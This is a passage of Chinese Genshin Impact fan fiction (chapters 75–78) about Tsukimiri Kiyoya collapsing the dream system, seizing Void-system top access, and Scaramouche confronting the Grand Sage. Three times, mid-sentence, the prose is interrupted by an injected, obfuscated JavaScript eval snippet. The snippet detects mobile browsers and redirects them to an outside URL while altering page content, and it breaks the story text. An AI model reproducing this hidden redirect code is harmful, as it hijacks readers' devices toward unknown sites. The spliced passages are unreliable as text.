“在提瓦特,谁还会有这样的能力呢?七神都未必吧?”青羽澈低声笑着,“‘时间’对于长生种而言是最不值钱的东西,它只不过是拉长了我们从‘生’到‘死’的过程而已。” 75.立场对立 在月见里清也向教令院提出新的能源方案前,青羽澈曾主动找过月见里清也。 彼时,月见里清也刚从散兵那里溜出来,被他被包装成梦境能量的储存能量已经送去检验,只需要等待结果出来即可。 但在等检验结果出来之前,月见里清也却先等来了一个意想不到的人。 那就是前一晚上跑得比兔子还快的青羽澈。 月见里清也已经习惯了他这种神出鬼没的出场方式,于是头都没抬,问道:“有何贵干?” 青羽澈看着月见里清也翻看着各种关于梦境系统的数据报告说:“没事,只是我有一点东西不太理解,于是想来问问你。” “为什么这么执着于做这些无用功呢?” 月见里清也翻着文件的手一顿,转过身去盯着青羽澈,眼神里透露出寒意,“你什么意思?” “梦境和虚空系统,即使你什么都不做,能量问题总会被解决掉,大贤者早晚会垮台,”青羽澈隔空点了点他手上的文件,“就像命运已经定下了结局,你做这些,意义是什么呢?” “如果什么事都用‘命中注定’来解释,那你为什么又站在这里,你不早就死了?”月见里清也说,“你的命运告诉你,我会创造出以一位独一无二的神明出来吗?” 青羽澈没被月见里清也得话激怒,慢悠悠地说:“如果我说,命运告诉我这场登神最后会以失败告终呢?” “你还真是,净挑一些我不爱听的话说啊。”月见里清也手指动了动,看起来像是准备将自己的长刀抽出来。。 要不是照顾卡斯珀办公室里的文件,他早就一刀挥上去了。 “你想证明我是错的?那很好办。”青羽澈飘到他的身前说,“月见里清也,我们打个赌吧。” “阻止降神计划失败,向我证明‘命运’是错的。”青羽澈笑盈盈的看着他,只是那笑声中没有开心的情绪,反而有种说不上来的悲凉,“只要你成功了,我保证,绝不会再打扰你们。” 月见里清也狐疑的盯着他,不知道他葫芦里卖的什么药。 “但相对的,只要你失败了,不管降神计划失败后发生什么,你一切都要听我的。”青羽澈说。 “我为什么要跟你赌呢?”月见里清也闻言嗤笑一声,“青羽澈,我真是看不懂你,从我拿到神之眼开始,你不觉得你的动机与行为都十分矛盾吗?” “你口口声声说我是你的‘棋子’,那你留下我这一条命,帮我拿到神之眼,不都是为了自己的计划吗?既然在你眼里降神计划早晚都会失败,又何必管我做些什么呢?” “如果你真的想利用我,就该冷眼旁观我的不自量力,在我被命运击倒在地的时候再上来伸出援手,来一出雪中送炭的戏码,这样才能更好的控制我。”月见里清也说着顿了顿,又补了一句,“何况在你的计划里,我最后一定会死吧?” 虽然月见里清也从未听青羽澈提起过他计划,但这也不难猜。 他在说世界树是自己命运的终点时,就已经告诉月见里清也,他为月见里清也安排的结局是什么了。 青羽澈闻言一愣,半晌都没回话,久到月见里清也以为他不会回答这个问题时,他叹了口气说:“你活着,他就会死,对我来说,我没得选。” “所以,你现在又是在闹哪一出?”月见里清也说,“不舍得动手了,我自认为咱们的关系应该还没好到那份上吧?” 倘若青羽澈没有下定决心,那他就不会在这五百年间还继续执行着这个计划,但下定决心的人不会像他这般摇摆不定。 月见里清也是恢复记忆后,才跟青羽澈有了交集,前后不过几个月的时间,其中他们见面的日子屈指可数。 仅凭这几天的相处就能让青羽澈对自己改观,让他放弃自己执行了五百年的计划? 月见里清也觉得不可能。 所以这其中应当还有一些他所不知道的事,只是眼下他暂时无法探寻。 至于青羽澈话语中的这个“他”,指的是谁已经无需多言,月见里清也想起韦尔奇留下的预言——“终有一日你会撕裂苍穹的一角,为你的至亲揭露命运的真容。” 所以,是以自己的死亡为散兵换来新生吗? 只可惜,我还不想死。 人有的时候就是会自不量力,想去反抗一下那些不可违抗的命运。 青羽澈仿佛知道他想说什么,“反抗命运的人都没好下场。” 月见里清也挑了挑眉,“你也是?” 青羽澈笑了一声,自嘲道:“对,我也是,所以我要让命运回到正轨。” “那就收起你这幅摇摆不定的姿态,青羽澈,我是你的棋子,不是你的盟友。”月见里清也勾了勾嘴角,“在我死之前,我会向你证明命运是可以被改变的。” 他们立场相对,绝无合作可言。 青羽澈一怔,摇了摇头,不知是不是在嘲笑他的天真,“差点忘了,你已经选择自己的道路了。” 拜自己所赐,月见里清也已经无法回头了。 可月见里清也不知道,被隐藏的命运背后,是无法提及的四执政。青羽澈选择孤注一掷,跟死之执政合作,交易一旦达成,“死亡”就必须发生。 凡人的意志可以和执政抗衡吗? 青羽澈不知道,散兵也不知道。 “但他不成长,恐怕这辈子只有接受命运安排的份了。”青羽澈看着散兵,“大人,你又能庇佑他及时呢,何况,月见里清也想要你庇佑他吗?” 散兵闻言,骤然收紧牵丝,丝毫不收敛自己的杀意,“你话太多了。” 这话虽然不好听,但月见里清也已经告诉散兵答案了。 月见里清也在用自己的办法避免降神计划的失败,同时还不忘为自己留下后路。 他一点都不需要自己的庇护。 “因为说到您心坎上了,不是吗?”青羽澈仍是笑着。 虽然散兵稍微一用力就能打散他的身体,但这对青羽澈来说只是一点小麻烦罢了,他只需要在自己寄身的断片里养几天,就能修复好自己的身体。 直到最后,散兵还是控制住了自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16415218|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒火,将青羽澈狠狠甩到地上,“不管你今晚想做什么,还想活命的话,现在就从我的视线里消失。” 不管是青羽澈自己走,还是散兵动手将他的身影打散,这都意味着今晚他是见不到月见里清也了。 等到青羽澈走后,月见里清也才退出梦境,一睁眼看到的就是他哥板着一张脸盯着自己看的模样。 月见里清也吓了一跳,他暂时还不知道自己背后的那点小动作都被散兵知道了,误以为对方是因为被强行退出梦境才板着一张脸。 但事出有因,对月见里清也来说,这事还是很好解决的。 听着月见里清也的解释,散兵知道他误会了,但也没开口纠正,就这么将错就错下去。 毕竟散兵知道月见里清也和自己一样,拿定了主意不会轻易改变,只是他并不需要月见里清也来替自己担责,即便月见里清也是在防患于未然。 好在,这事还没到无法挽回的地步。 幸亏月见里清也灵机一动提议将牵丝的技术运用到机体连接上,阴差阳错之间竟然成了关键的后手。 至于现在,还是由着月见里清也折腾吧。 散兵想着。 月见里清也不知道散兵在想什么,但眼看着他像是消气的模样,嘴上话题一变,汇报起梦境中的情况。 散兵虽然能借助月见里清也的视线观看梦境,但在青羽澈现身后,他就没关注梦境的内容了,只能听月见里清也复述。 今晚梦境中发生的一切想要彻底印在民众的脑海中,只能让他们做完一个完整的梦境。中途打断只会让植入的记忆与原本的记忆冲突,造成入梦者精神错乱。 这也是纳西妲打算毁掉梦境,但又不选择今晚动手的原因。 花神诞祭这场梦是月见里清也特意挑好的“礼物”,目的就是为了让散兵亲自来修改民众的记忆。 眼下目的已经完成,与其在梦境里跟草神他们耗时间,增加自己身份暴露的风险,不如他早一点结束梦境,养精蓄锐准备打明天的硬仗。 “草神眼下还被教令院囚禁着,实力大打折扣,她能想到的最有效的办法,估计是找寻我编织梦境的支点,从那里侵入梦境系统,撤销修改记录,由此让民众的认知恢复正常。”月见里清也说着,手指轻轻在无相使身上敲了敲,无相使会意,将明日行动的路线投影到二人面前。 所谓的“支点”,就是月见里清也编织梦境依靠的虚空系统,月见里清也只有梦境系统的权限,想要进入虚空就只能靠点不光彩的小手段了。 只是以他目前的身份,干这事多少有些不方便,所以他只好借草神入侵时的漏洞,直接潜入虚空系统。 “我会如他们所愿,并且我还会给他们添一把火,让梦境系统在明晚彻底崩溃,到那时所有人的注意力都会放在梦境系统上,对虚空系统的检测变弱,更方便我潜入。”月见里清也说着,笑眯眯的看向散兵,“至于后续之事,还要劳烦哥哥出手。” “如果计划顺利的话,从明天之后,我们就可以坐山观虎斗,坐收渔翁之利了。” 76.梦境崩塌 有了前一日的经历,空和纳西妲要想破除这场梦境,肯定会趁着梦境刚开始,月见里清也还什么都来不及做的时候直接动手。 月见里清也对这一情况早有准备,所以在今晚这场梦境开始之时,他就只将空和派蒙拉入梦境。 就在他刚把对方拉入梦境的瞬间,一个四叶印标记毫无征兆的出现在他身上,与此同时,月见里清也套着的那层假身份也随之消散,露出原本的面容。 伪装褪去的同时,月见里清也还感到一股无形的力量束缚住自己,他抬手试着给这场梦境编出点其他内容,但指尖红光一闪,耳边响起一串报错声。 他下意识想把戴在耳上的虚空终端摘下来,手却摸了个空。 忘了,以意识进入梦境是不会带着虚空终端一起进来的。 “啧。”月见里清也低头瞥了一眼那枚散发着草元素的四叶印印记,开场就把他控制梦境的能力限制住,心里当然有点不爽。 但还好也只是限制住了他编织梦境的能力,系统其他功能还在他的掌控之中。 “警告,发现梦境边缘发现侵入痕迹,是否启动查杀模式。”月见里清也耳边传来梦境系统的警报声,在他眼前弹出一个对话框,示意他开启查杀,清除入侵者。 月见里清也挑了挑眉,手指按在“否”上,处理完这条弹窗后,才抬眼看向自远处跑过来的两人。 纳西妲的印记除了消除伪装与限制能力之外,还有提供定位的作用。 他们三人今晚分头行动,由空和派蒙负责牵制住梦主,纳西妲则潜入梦境系统中枢,撤销修改记录,将真正的认知归还给民众。 空和派蒙在进入梦境,见偌大的梦境中只有他们二人时,就意识到了梦主有所防备。 尽管他们对梦主的身份有了一定猜测,但在见到月见里清也的一瞬间,还是狠狠的震惊了一下。 “月见里清也?!怎么会是你?”派蒙惊讶道。 “晚上好,二位。我本来说一句‘好久不见’,但介于之前那些不愉快的经历,你恐怕并不想见到我,”月见里清也的目光落在空身上,随后又转向派蒙,“另外,我为什么不能在这?” “因为……”派蒙说着看向空。 这时,空突然将话接了过去,“公子说,你们带着雷神之心从愚人众叛逃了。” 月见里清也没想隐瞒这些事,如实说:“他说的不错,我和我哥哥确实逃离了愚人众,至于那枚神之心,它现在待在他应该待的地方,无需二位操心。” 八重神子跟空和派蒙都讲过关于“原形人偶”的事,即便如此,派蒙还是忍不住说:“神之心是属于神明……” “呵,但神之心对于雷神来说,不也是累赘吗,既如此,为什么不让它呆在更珍惜它的人手中?”月见里清也冷笑一声打断她的话,“好了,我不想跟你们讨论神之心的归属,你们来这也不是来找我算旧账的吧?” 空当然不是来算旧账的,但现在倒是可以新仇旧账一起算,他的手按在剑柄上,“不管你说什么,这也改变不了你现在做的事。” 月见里清也却没有动手的意思,他笑了一声,依旧站在原地,并未将抽出自己的长刀,“比起动手,我想我们不如放下武器聊聊。” 空说:“跟愚人众没什么好聊的。” 即便月见里清也说他已经叛逃出了愚人众,可他在梦境帮助教令院所做的那些事,摆明了跟愚人众是一丘之貉。 “难道我猜错了?你们在这里不就是为了拖延时间,等着草神销毁梦境吗。”面对空的敌意,月见里清也非但没有恼怒,反而笑了笑说,“怎么一见着我,就想着杀之而后快了?” 被月见里清也点破此行目的的二人一愣,但月见里清也的重点不在这里,不等空回话,他接着说:“你觉得,带着神之心叛逃的罪名有多大,愚人众会放过我们吗?” 答案自然是不会。 别说愚人众,放在其他国家这都是不能饶恕的重罪。 “在愚人众里,只要叛逃就会被清除。既然如此,你难道不好奇,我为何又在此处操控梦境,而我哥哥又为何不见踪影。”月见里清也说着,笑容逐渐变得意味深长。 空被他笑的发毛,眉头紧皱,不由得说着月见里清也的话思考下去。 第六席执行官叛逃是不可能带着手下一起叛逃的,也就是说前往须弥的执行官另有其人。可这个执行官为什么要和一个已经叛逃的副官合作,还有散兵到底拿着神之心去了哪,这两者之间有没有关联? 空发现自己的确无法说出“毫无兴趣”这四个字。 眼见空一副若有所思的模样,月见里清也知道自己这番话已经成功引起空的兴趣,他将事实打乱重组了一遍,话说的半真半假,“可你知道,愚人众的眼线众多,想摆脱也绝非易事,于是一个从不做亏本买卖的执行官,博士。他‘慷慨’的帮助我们摆脱了愚人众的追捕,但作为交换,我需要帮助他完成这场‘实验’。” “你是想告诉我,这一切都是你作为‘人质’,被博士胁迫,不得不做的?”空说着,依旧没松开紧握的剑柄。 “用博士的话来说,这只是一场交易。但我对他们的宏图伟业不感兴趣,怎样活着离开博士和教令院的控制才是我要考虑的事,只要你们能将局势变得更混乱,对我才有利。”月见里清也说着往前走了一步,拉进了与空的距离,“我们的道路不同,但此刻却有一个短暂的交集。” 派蒙飞上前,警惕地说:“我们凭什么相信你。” “你们并不需要信任我,只需要想想接受我的帮助,能否让你们更快的达成目的。”月见里清也说,“毕竟,留给你们的时间确实不多了。” 就如月见里清也自己所言,他不是来合作的,而是挑一把趁手的刀。 眼下降神计划已经完成,月见里清也通常不会干过河拆桥这种事,但前提是,对方最好也安分守己。 想要摆脱教令院和愚人众,除了夺取虚空权限之外,月见里清也还少一把刀,而他选的这把刀,就是他眼前的这位“变数”。 不管空是接下来要和教令院斗,还是和愚人众对着干,最终受益人都是他和散兵。 也正因此,月见里清也不需要获得空的信任。退一万步来说,就算空不相信自己,对自己的计划都没什么影响,教令院是迟早要垮台的,空的出现不过是加快了这一进程。 “你这话是什么意思?”空问道。 月见里清也耳边回响着梦境系统急促的警报声,提醒他系统中枢已经被侵入,他没有回话,点掉了修复漏洞的弹窗,按下早就准备好的按钮,“没什么意思,梦境要结束了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426223|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们成功了,恭喜。” 他嘴上说着恭喜,但空和派蒙脸上不见丝毫喜悦,反而更加凝重。 紧接着,梦境空间猛的一阵摇晃,远处的房屋开始闪烁,扭曲,最后崩塌,坠入看不到底的黑色深渊。 空见状立刻飞身向前,而在剑刃触及他衣角的前一刻,月见里清也整个人凭空消失在二人眼前。 梦境崩塌只能造成一时的混乱,留给月见里清也的时间有限,在确认草神真正入侵成功后,月见里清也才按下了销毁梦境的按钮。 在踏出梦境系统的那一刻,纳西妲留在他身上的印记随之失效,但梦境系统的报错声依旧回响在他的脑子里,吵得他头痛。 月见里清也在心里叫了一声,“哥哥。” 他没说要干什么,但散兵了然于心,利落地把挂在月见里清也耳边的虚空终端摘了下来。 “谢了。”耳边终于恢复平静,月见里清也不自觉勾了勾嘴角,迅速潜入虚空系统之中。 “十分钟。”散兵的声音在他脑海中响起,提醒月见里清也不要忘了时间。 进入虚空系统后,一道光束自上而下扫过月见里清也,系统卡顿几秒,才磕磕绊绊的跳出一条消息:【已确认临时权限,通行时间:十分钟,现在开始倒计时】 月见里清也见了这条消息一点不敢耽误,直奔系统中枢,同时还不忘回他哥一句:“我有数。” 系统之外,散兵的目光扫过飞速跳动的倒计时,对他这句话表示怀疑,有些无奈的说:“你最好真的有数。” “要不你和我聊聊天,这样我就不紧张了。”月见里清也站在系统中枢的大门前,将伪造的权限卡放到感应器上。 他语气里的笑意太重,散兵声音一沉,加重语气警告他,“月见里清也,认真点。” 散兵的担忧并非空穴来风,如果说梦境系统的崩溃还可以归咎于外部入侵,但月见里清也偷取虚空权限之事暴露,就意外着他们要和教令院彻底决裂,没有任何转圜的余地。 随着“滴”的一声轻响,权限验证通过,月见里清也成功进入系统中枢,虚空中枢内部没有什么太过复杂的设备,只有一个操作台可供操作。 “七分钟。”散兵的声音再次响起,他替月见里清也盯着时间的同时,也紧盯着教令院的一举一动,“梦境崩塌已经引起学者的注意,抓紧时间。” 月见里清也在心里估算了一下时间,依旧维持着镇定,“来得及。” 话音刚落,就在他的手指搭上操作台的瞬间,虚空系统接的提示音接着响起:【二次身份检测开始,请保持静止】 几乎是同一时间,身后传来一声沉重的落锁声,月见里清也回头看去,金属大门被彻底锁死,他被困在里面了。 月见里清也心里一沉,没忍住暗骂一声。 散兵听到后立马追问,语气中带着自己都不曾察觉的急促,“怎么回事?” “二次身份检测,我在想这张伪造的权限卡能否通过这次检测。”眼见扫描光束越来越近,月见里清也一边说,一边上下打量着这个房间,可惜这破地方连个通风管道都没有。 “现在就撤离!”散兵斩钉截铁道。 “来不及了,哥哥。”月见里清也看着那道开始进行扫描的光束,苦笑一声说,“大门已经锁死了。” 77.虚空权限 二次身份检测,在系统中枢的运行逻辑中,既是二次确认,也是一种查杀模式,判定标准会更为严苛。 这也是月见里清也担心伪造的权限卡能否通过检测的原因。 估计是梦境崩溃引发的动静太大,学者为了确保安全,才重新启动了这个停用许久的功能。 月见里清也在默默想着,看着逐渐逼近的光束,心里拿定了主意。 散兵将他的心声一字不落的听完,心中莫名一紧,“你想干吗?” “二次身份检测的时候操作台不会锁死,我试试能不能从后台强行关停。”月见里清也瞥了一眼光束的位置,手指飞快的操控起虚空终端,“如果不行,只能强制退出了。” 月见里清也口中的强制退出,指的是散兵通过机体连接强制将他的意识从系统拽回本体。虽然看着是个很高效的方案,但对精神伤害极大,不到万不得已散兵不会考虑这个方案。 但这总比被教令院逮个正着好,散兵叹了口气,同意了这个方案,“好。” 光束扫到月见里清也只需要几秒,在光束扫到自己身上的前一刻,精确的找到了关于二次身份检测的选项。 他毫不犹豫按下“关停”的选项,但光束并未停下来,系统弹出一条消息:【错误:权限不足,无法关停此功能。】 这下月见里清也真没忍住骂出声,他看着光束扫过控制台,落在他身上,认命道:“准备吧,哥哥。” 话音刚落,散兵操控起牵丝,几根细丝脱落,干脆利落地扎进月见里清也与无相使连接的接口中。 与此同时,那道扫描光束掠过月见里清也的面容。 但预想中的警报声并未响起。 在一阵短暂的沉默后,月见里清也的耳畔响起系统的提示音:【身份验证通过,最高权限已确认,权限拥有者:月见里清也。】 【访客身份已更新,您可以直接使用高级权限继续操作虚空系统,在最高等级下,您将不再受到时间限制。】 月见里清也一愣,对散兵说:“等等。” 最高权限拥有者就那么几个,卡斯珀不可能给月见里清也伪造一个权限那么高的身份。 他将系统消息同步给散兵,散兵闻言皱眉道:“伪造的权限卡等级不会这么高,这看着像是你自己拥有的权限。” “但这怎么可能?”月见里清也自己也想不通,疑惑归疑惑,他手上动作没停,直接点开权限界面。 虽然没有了时间限制,但散兵眼前的倒计时并未停下。这是他们在行动最初就定下的时间,从潜入到在学者察觉之前逃离,十分钟是最佳时间。 散兵监视着教令院的一举一动,对月见里清也说:“先不要管这个,抓紧时间。” 月见里清也应着,找到了大贤者阿扎尔的名字,在阿扎尔之上还有两个名字,上面写着:【最高权限:『大慈树王』『小吉祥草王』】。 他扫了一眼,发现这两个名字后面还有两个小字,上面写着“展开”。 虚空系统作为大慈树王的遗产,她的名字与下任神明的名字在上面月见里清也并不奇怪,只是后面为什么还有个“展开”? 月见里清也想起自己身上这个莫名奇妙的最高权限,迟疑了一瞬,点了下去。 系统打开一个全新页面: 【特殊权限用户1:■■■■■(权限自愿移交给用户2)】 【特殊权限用户2:月见里清也】 【备注1:虚空系统最高权限与世界树绑定,特殊权限拥有者有且只有一位,其权限等同于最高权限。】 【备注2:最高权限转移对象必须与转移方有同等的“位格”,否则无法转移,一旦权限转移完成,无法撤销。】 月见里清也皱眉,这个“特殊权限”和最高权限一样,都是选的与世界树关联最深的人,就例如诞生于世界树中的大慈树王。 在看到这条备注之前,他原本以为是拥有高级权限是暗喻了那句“与世界树相连的命运”,现在来看,或许是拥有了这样的命运,才让自己有了继承权限的资格。 只是不知道,这位将权限转移到自己身上来的“用户1”,究竟是何方神圣。 他点了点这个被糊掉的名字,试图查看到用户信息,然而系统蹦出弹窗: 【用户:■■■■■(无法查询该用户信息,请确认该用户是否在虚空的数据库中)】 【最近一次登录时间:***】 月见里清也正准备失望的关掉页面时,系统忽然“叮”的一声。 【检测到逻辑错误,已更正】 【用户1第一次登录:***】 【第二次登录:8月21日】 【最后一次登录:8月24日】 月见里清也瞳孔一缩,不可置信的将这几句话看了一遍又一遍。 “哥哥。”片刻后,他才找回自己的声音,开口却发现过于紧绷,清了清嗓子才说,“你第一次机体连接是什么时候。” “只剩下五分钟了,月见里清也,你又在搞什么名堂?”散兵忍不住扶额,语气有些懊恼。 ……就不该让他乱来。 “回答我。”月见里清也异常坚定。 “……8月21日。”散兵说。 月见里清也深吸一口气,闭了闭眼,也不管散兵能不能看的见,他点点头,半天吐出一句,“好。” 他要没记错,8月24日正好是他们一同进行机体链接,于梦境中宣布新神降临的日子。 如果一次日期对得上,月见里清也还可以骗自己是巧合,但如果两次机体链接的日期都重合,更何况教令院已经将散兵的意识接入世界树,月见里清也没办法自欺欺人。 假设这个“用户1”是散兵,那么既然是他亲手将权限移交给自己,为什么他本人完全不知道这件事?! 月见里清也不认为散兵是刻意隐瞒不说,只是一个虚空权限而已,根本没有这么做的必要。 他一手撑着操控台,有些焦躁的抓了抓额前的碎发,在这一瞬间里,一阵寒意自他的脊背蔓延上来,他发现自己根本就不了解散兵,也不了解自己。 时间飞驰而过,散兵看着所剩无几的时间,听着月见里清也那边纷杂无序的心声,猛地收紧手中的细丝,“月见里清也,不管你现在在干什么,给你一分钟,马上从虚空系统里滚出来!” 细丝的颤动牵动月见里清也身处虚空中的意识,月见里清也骤然回神,强迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431697|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己冷静下来,“知道了。” 他重新抬眼看向操作台,现在特殊权限已经激活,那就解决了绝大部分问题,只需要将特殊权限的转移密钥导出即可。 将自己的访问记录清除后,月见里清也给散兵发了信号。 系统之外的散兵会意,按照计划将虚空终端重新戴在月见里清也耳边。 月见里清也的意识回归身体的一瞬间,紧接着又被虚空终端捕获,重新拉回那片被他亲手销毁的梦境。 梦境系统已经全面瓦解,崩塌时产生的那些杂乱无序的数据全都冲击到月见里清也这个梦主身上。 “呃……”他的大脑处理不了那些数据,处于一个即将过载的边缘,本能的想去扣与无相使连接的脊椎接口,逃离崩坏的梦境。 混乱的数据和月见里清也想强行断开连接的想法也影响到了无相使,妖狐前所未有的暴躁,巨大的狐尾重重一甩,在地板上留下一道深深的划痕。 就在此时,工坊的大门被人猛地推开,教令院的学者终于抵达工坊,眼见无相使濒临失控,想也不想就冲上前帮忙。 然而在狂暴状态下的无相使也发现了他们,无差别的将其识别成了入侵者,咆哮一声,庞大的身躯弓起,摆出进攻前的架势。 卡斯珀的脸色猛然一变,眼疾手快地将冲上前的学者按倒在地,吼道:“都不要命了?全部退后!” 对困在崩溃的梦境中的月见里清也来说,外界的一切就像隔着一层玻璃,那些声音遥远而模糊,他想控制住无相使,但这个想法只在脑海中出现一瞬,紧接着就被杂乱的数据所吞没,疼痛在他脑海里叫嚣着,连意识都开始变得模糊。 “好了,”这时一双温热的手轻轻拨开了他无意识抠连接接口的手指,稳稳地按在他的脊柱接口上,“现在,安静!” 散兵声音不大,安抚中带着几分威严,穿透了那些杂乱的数据,在月见里清也耳边响起。上一秒还在暴躁着的无相使立马僵住,收敛了所有的攻击性,温顺的伏在地上,仿佛刚才的那场混乱都是大家的错觉。 见无相使安静下来,散兵按住接口轻轻一拧,连接的导管就被他精准的拆了下来。 断开连接的无相使瞬间跌在地上,发出巨大的声响,散兵则揽住脱力的月见里清也,让他靠在自己身上。 接着这个动作,意识稍微回笼的月见里清也将那份从虚空中带回来的密钥塞进散兵的口袋里,他的眼神有些涣散,虚弱道:“疼死我了……早知道就不演这一出戏了。” “你自找的。”确认月见里清也没有太大的问题,散兵暂时安下心,嘴上依旧毫不留情。 他将月见里清也耳朵上的虚空终端摘下来,看都不看一眼,直接狠狠地扔到学者面前。 随着“咔嚓”一声,虚空终端碎裂的声音在安静的工坊内格外刺耳。 无形的威压自散兵身上蔓延开来,他抬眼,视线缓缓扫过在场的每一位学者,掠过卡斯珀,最终定个位几个为首的贤者身上。 “现在,谁能给我一个解释。”散兵说着,手臂逐渐收紧,护住彻底脱力晕过去的月见里清也,“关于这个失控的系统,以及你们再三向我保证,绝对不会出现的草神,是怎么出现在梦境里的。” 78.序幕曲 今夜对负责降神计划的教令院学者来说,注定是个漫长的不眠之夜。 起初被警报从睡梦中叫醒时,不少学者还抱有一丝侥幸心理,认为梦境系统出了一点小bug,不是什么太大问题。 可当他们真的看见系统中那些层层叠叠的报错,以及陷入狂暴状态的无相使,心都凉了半截。 如果是单纯的梦境系统出了bug,情况倒没有那么紧急,一点bug不会影响系统运行,更何况,月见里清也操作久了也会修,但他们完全没想到梦境系统全盘崩溃了。 崩溃时的数据乱流会对意识造成不可控的伤害,月见里清也因此重伤昏迷,要不是散兵及时断开了连接,还不知道会发生什么。 大贤者阿扎尔和诸位贤者问询赶来时,就听到散兵一口咬定梦境系统的崩溃是草神所为,质控教令院看管不严。 对教令院与虚空系统有绝对自信的阿扎尔自然不会相信散兵的一面之词,他强硬的拦住想送月见里清也去医务室的散兵,“荒谬!草神绝无机会逃脱,在查清真相之前,谁也不许离开。” 阿扎尔的态度让散兵怒火中烧,但他还记得月见里清也上演这一出苦肉戏的目的,就是为了让教令院相信草神已经脱离了他们的掌控,将月见里清也潜入虚空系统之事彻底掩盖过去。 所以,这把火烧的越大才越能达成目的。 散兵冷笑一声,“好啊,查。” 主要负责人顶着散兵的怒火和阿扎尔的压力,带着整个项目组将梦境崩塌时的数据看了一遍又一遍,最终在中枢内发现了入侵的痕迹。 当他看清中枢系统内的那个身影时,浑身都在冷汗,他抬头看向阿扎尔,欲言又止。 阿扎尔皱着眉,严肃道:“支支吾吾的干什么?查到什么就说!” “大贤者阁下,我们在梦境中枢内,发现了小……小吉祥草王的踪迹。”主要负责人说着,根本不敢抬头看阿扎尔的脸色。 阿扎尔脸色骤变,他还没来得及说些什么,一股蛮横的力量将他狠狠地按在地上,膝盖砸在地面上,发出沉闷的声响。 “谁给你的权利,”散兵一手揽着月见里清也,另一只手往下一压,“在我面前放肆?” 他身上那份属于神明的威压再也不加收敛,压在每个人的心上,让人喘不过来气。 在场所有人都不敢抬眼直视处于盛怒之下的神明,唯独被力量压制住的阿扎尔脸上青红交加,仍直视着他。 自他继任大贤者以来,从来没有人敢这么对他,被众人毕恭毕敬的尊敬着,以至于都让他忘了,现在眼前的是已经登上神座的神明,而非几个月前的实验者。 散兵手上加重了力气,逼得阿扎尔不得不垂下头。 月见里清也说的不错,阿扎尔从来没有敬畏神明的心,想要教令院学会敬畏神明,就得从根源解决。 哪怕这敬畏的根源是源自于惧怕。 “看来,我错过了一出好戏。”一道声音传来,打破了工坊内将至冰点的气氛。 博士穿过人群,目光饶有趣味的扫过跪在地上的阿扎尔,欣赏片刻后,才落在散兵身上。 “这没你的事。”散兵说。 “怎么会呢,”博士轻笑一声,“一位逃脱的神明重创了梦境系统,还导致一位合作伙伴受伤,这当然与我有关。” 说着他的目光下移,看向散兵怀里的月见里清也。 旁人或许听不懂他们二人在打什么哑谜,但散兵听懂了,这句话翻译一下就是:我此行的目标干扰了我带头的实验进程,同时,让一位重要的研究目标受了伤。 所以他这位自不久前屈居于幕后的观察者,要准备出手了。 博士看向阿扎尔,语气轻快道:“大贤者阁下,既然现在问题已经明确,不如就将这个‘小麻烦’交给我?相信很快就能给神明一个满意的答复。” 听了这话,阿扎尔差点一口气没提上来,但他的意见已经不重要了,散兵收起对阿扎尔的控制,接着就将一个东西抛给博士。 博士抬手接住,认出那东西是什么后,露出一个意味深长的笑。 眼见气氛稍微缓和,卡斯珀迅速上前,想要从散兵手中接过陷入昏迷的月见里清也。 散兵看向卡斯珀,眼里没有任何情绪,卡斯珀敏锐的察觉到他想说什么,借着遮挡两指并起在胸口前敲了一下。 这是月见里清也给暗线发明的手势,意思是“知道了”。 散兵见状放下心,看着卡斯珀和他手下的一帮研究员带着月见里清也离开。 想要这件事不被轻易的翻篇,就只能往严重里说,卡斯珀从帮月见里清也伪造权限卡时,就大概能猜到他要干什么。结合今晚的情况来看,他们应该是得手了,想要让这件事继续发酵,就只能让月见里清也受的伤更“重”一些了。 他手底下的人都是从至冬过来的愚人众研究员,没有一位教令院学者,也确保了有关月见里清也伤势的消息绝不外漏。 有关今晚的一切事,月见里清也都是第二天醒来听卡斯珀转答的。 卡斯珀向外界汇报的是月见里清也受伤很严重,精神受到巨大创伤,需要休养一段时间,短时间内不能进行机体连接。 因为供应正机之神的能量已经准备充足,梦境系统的存在也就变得可有可无,月见里清也好好修养几天也没事。 想起昨晚散兵发怒时那副模样,教令院学者们哪敢说不。 但实际上,“伤得很重”的月见里清也则在第二天傍晚就醒了过来,除了时不时的偏头疼外,身体其他情况都与平常一样,没有任何不适。 “老实说我是真佩服你的身体素质,不过我还是建议你多躺一会,以免还有什么后遗症。”卡斯珀说着把水和药放在月见里清也面前,看着他在一张写写画画,“你这写什么呢?” 月见里清也刚好写完最后一个字,把信纸折好放入信封中,递给卡斯珀,“给斯黛拉的。” 